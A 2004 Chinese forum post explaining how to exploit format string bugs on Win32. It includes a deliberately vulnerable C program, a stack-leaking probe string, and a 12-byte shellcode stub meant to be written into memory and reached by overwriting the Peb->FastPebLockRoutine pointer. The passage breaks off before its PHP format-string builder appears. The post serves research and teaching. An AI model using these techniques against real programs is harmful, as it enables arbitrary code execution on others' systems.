Board logo

标题: Win32平台格式化串漏洞利用技术 [打印本页]

作者: 大漠的苍凉    时间: 2004-11-6 07:38     标题: Win32平台格式化串漏洞利用技术

本文缘起KF在0dd邮件列表的问题,由于Win32平台的格式化串漏洞相对很少,所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术,但是他用的方法并不是很好,于是有了此文。 1.1 Win32平台格式化串与其它平台的不同 在Linux平台下直接指定要访问的参数的"$"格式符在Win32下根本就不支持: D:\working\research\Win32 format\2004.10.27>type d_test.c main() { printf ("%6$d\n", 6, 5, 4, 3, 2, 1); } 用VC6编译后运行查看结果: D:\working\research\Win32 format\2004.10.27>cl d_test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. d_test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:d_test.exe d_test.obj D:\working\research\Win32 format\2004.10.27>d_test $d 输出的居然就是"$d"。所以在Linux平台的那种"%%%d$hn"格式串在Win32下是无法利用,不过这也没关系,用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长,但这在很多情况下是不影响的。 另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定,而且Win32堆栈地址一般都是0x0012e000这样的地址,最开始的一个字节包含0,所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了(David Litchfield提到的方法是把堆栈地址放在格式串的最后,那么和格式串结束符0正好组合成完整的堆栈地址),选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。 1.2 Win32平台格式化串的利用方法演示 首先我们构造一个存在格式化串漏洞的程序: /* Windows format strings demo * * san@xfocus.org * 2004.10.26 */ #include #define IOSIZE 1024 int main(int argc, char **argv ) { FILE * binFileH; char binFile[] = "binfile"; char buf[IOSIZE]; if ( (binFileH = fopen(binFile, "rb")) == NULL ) { printf("can't open file %s!\n", binFile); exit(); } memset(buf, 0, sizeof(buf)); fread(buf, sizeof(char), IOSIZE, binFileH); printf("%d\n", strlen(buf)); printf(buf); fclose(binFileH); } 这是一个很简单的程序,它从当前目录的"binfile"文件读取内容,然后把这些内容直接作为printf的参数打印,典型的格式化串漏洞。构造一个包含如下内容的"binfile"文件: AAAABBBB|%x|%x|%x|%x|%x 运行这个format程序: D:\working\research\Win32 format\2004.10.27>format 23 AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c 可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢?BasepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务: 7FFDF250 54 PUSH ESP 7FFDF251 5F POP EDI 7FFDF252 B8 90909090 MOV EAX,90909090 7FFDF257 FC CLD 7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI] 7FFDF25A 57 PUSH EDI 7FFDF25B C3 RETN 这段代码的意思是从当前esp开始往高地址搜索包含0x90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程:



欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2